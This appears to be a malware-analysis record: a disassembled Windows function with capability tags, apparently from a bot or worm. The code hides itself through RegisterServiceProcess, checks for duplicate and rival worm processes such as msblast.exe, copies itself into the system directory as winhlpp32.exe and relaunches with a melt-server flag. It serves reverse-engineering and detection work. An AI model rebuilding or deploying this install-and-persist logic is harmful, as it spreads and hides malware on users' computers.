Function at 0x40dcad
Capabilities:
Check for time delay via gettickcount
Copy file
Create process on windows
Get common file path

Disassembly:
mov eax, 0x4276fc
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x190
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp - 0x44]
call fcn.0040bb1b
mov edi, 0x104
push edi
xor ebx, ebx
push edi
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.0040c0db
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x44]
call fcn.0040c637
push eax
lea ecx, [esi + 4]
call fcn.0040bca8
lea ecx, [ebp - 0x2c]
call fcn.0040bb1b
push edi
push edi
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.0040c0db
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x40dd7b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RegisterServiceProcess
push eax
call esi
push str.CreateToolhelp32Snapshot
push dword [ebp - 0x14]
mov dword [0x43e444], eax
call esi
push str.Process32First
push dword [ebp - 0x14]
mov dword [0x43e440], eax
call esi
push str.Process32Next
push dword [ebp - 0x14]
mov dword [0x43e43c], eax
call esi
mov dword [0x43e308], eax
mov eax, dword [0x43e444]
cmp eax, ebx
je 0x40dd7b
push 1
push ebx
call eax
mov eax, dword [0x43e448]
push str.Checking_for_multiple_copies..._n
add eax, 0x164
push 5
push eax
call fcn.0040b631
mov eax, dword [0x43e448]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0xc
cmp byte [eax + 0x58], bl
jne 0x40de16
cmp byte [eax + 0x59], bl
jne 0x40de16
call esi
mov dword [ebp - 0x14], eax
mov byte [ebp - 0xd], 1
call esi
sub eax, dword [ebp - 0x14]
mov edi, 0xea60
cmp eax, edi
jae 0x40ddf0
cmp byte [ebp - 0xd], bl
je 0x40de11
push dword [ebp + 8]
call fcn.0040dbac
cmp eax, 2
pop ecx
jge 0x40ddd7
mov byte [ebp - 0xd], bl
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, dword [ebp - 0x14]
cmp eax, edi
jb 0x40ddc1
cmp byte [ebp - 0xd], bl
je 0x40de11
mov eax, dword [0x43e448]
push str.Found_2_copies__exiting..._n
add eax, 0x164
push 5
push eax
call fcn.0040b631
add esp, 0xc
push 1
call sub.MSVCRT.dll_exit
mov edi, 0x104
mov ecx, dword [ebp + 8]
push ebx
call fcn.0040c637
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040c061
test eax, eax
jne 0x40de45
mov eax, dword [0x43e448]
cmp byte [eax + 0x58], bl
je 0x40de45
mov ecx, dword [ebp + 8]
call fcn.0040c637
push eax
call fcn.00415017
pop ecx
push str.msblast.exe
call fcn.00415017
mov dword [esp], str.penis32.exe
call fcn.00415017
mov dword [esp], str.mspatch.exe
call fcn.00415017
mov dword [esp], str.winppr32.exe
call fcn.00415017
mov dword [esp], str.dllhost.exe
call fcn.00415017
mov dword [esp], str.tftpd.exe
call fcn.00415017
pop ecx
push ebx
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040c037
test eax, eax
je 0x40deb3
push ebx
push str.winhlpp32.exe
lea ecx, [ebp - 0x2c]
call fcn.0040c061
test eax, eax
je 0x40e05b
mov ecx, dword [ebp + 8]
call fcn.0040c637
push eax
push 0x5c
lea ecx, [ebp - 0x44]
call fcn.0040c637
push eax
lea eax, [ebp - 0x19c]
push str._s_c_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
call esi
mov dword [ebp + 8], eax
mov eax, dword [0x43e448]
push str.Trying_to_copy_to_system_directory..._n
add eax, 0x164
push 5
push eax
call fcn.0040b631
mov eax, dword [0x43e448]
add esp, 0xc
cmp byte [eax + 0x9dc], bl
je 0x40df60
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040751e
push eax
mov eax, dword [0x43e448]
lea ecx, [eax + 0x15da0]
call fcn.00411287
test al, al
jne 0x40df94
push ebx
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040751e
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40df94
call esi
sub eax, dword [ebp + 8]
cmp eax, 0x61a8
jae 0x40df94
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40df2c
push ebx
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040751e
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40df94
call esi
sub eax, dword [ebp + 8]
cmp eax, 0x61a8
jae 0x40df94
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40df60
mov eax, dword [0x43e448]
push str.Finished_copying_to_system_directory..._n
add eax, 0x164
push 5
push eax
call fcn.0040b631
mov eax, dword [0x43e448]
push str.Starting_new_process..._n
add eax, 0x164
push 5
push eax
call fcn.0040b631
mov eax, dword [0x43e448]
add esp, 0x18
cmp byte [eax + 0x7cc], bl
je 0x40e012
push edi
lea eax, [ebp - 0x19c]
push str.__meltserver__
push eax
call sub.MSVCRT.dll_strncat
add esp, 0xc
push edi
lea ecx, [ebp - 0x2c]
call fcn.0040c637
push eax
lea eax, [ebp - 0x19c]
push eax
call sub.MSVCRT.dll_strncat
push edi
lea eax, [ebp - 0x19c]
push 0x43253c
push eax
call sub.MSVCRT.dll_strncat
add esp, 0x18
push 0x44
pop esi
push esi
lea eax, [ebp - 0x98]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x98]
push eax
push ebx
push ebx
push 0x28
push 1
push ebx
push ebx
lea eax, [ebp - 0x19c]
push eax
push ebx
mov dword [ebp - 0x98], esi
mov word [ebp - 0x68], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e05b
push ebx
call sub.MSVCRT.dll_exit
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], bl
call fcn.0040bc75
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.0040bc75
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov al, 1
pop ebx
mov dword fs:[0], ecx
leave
ret 4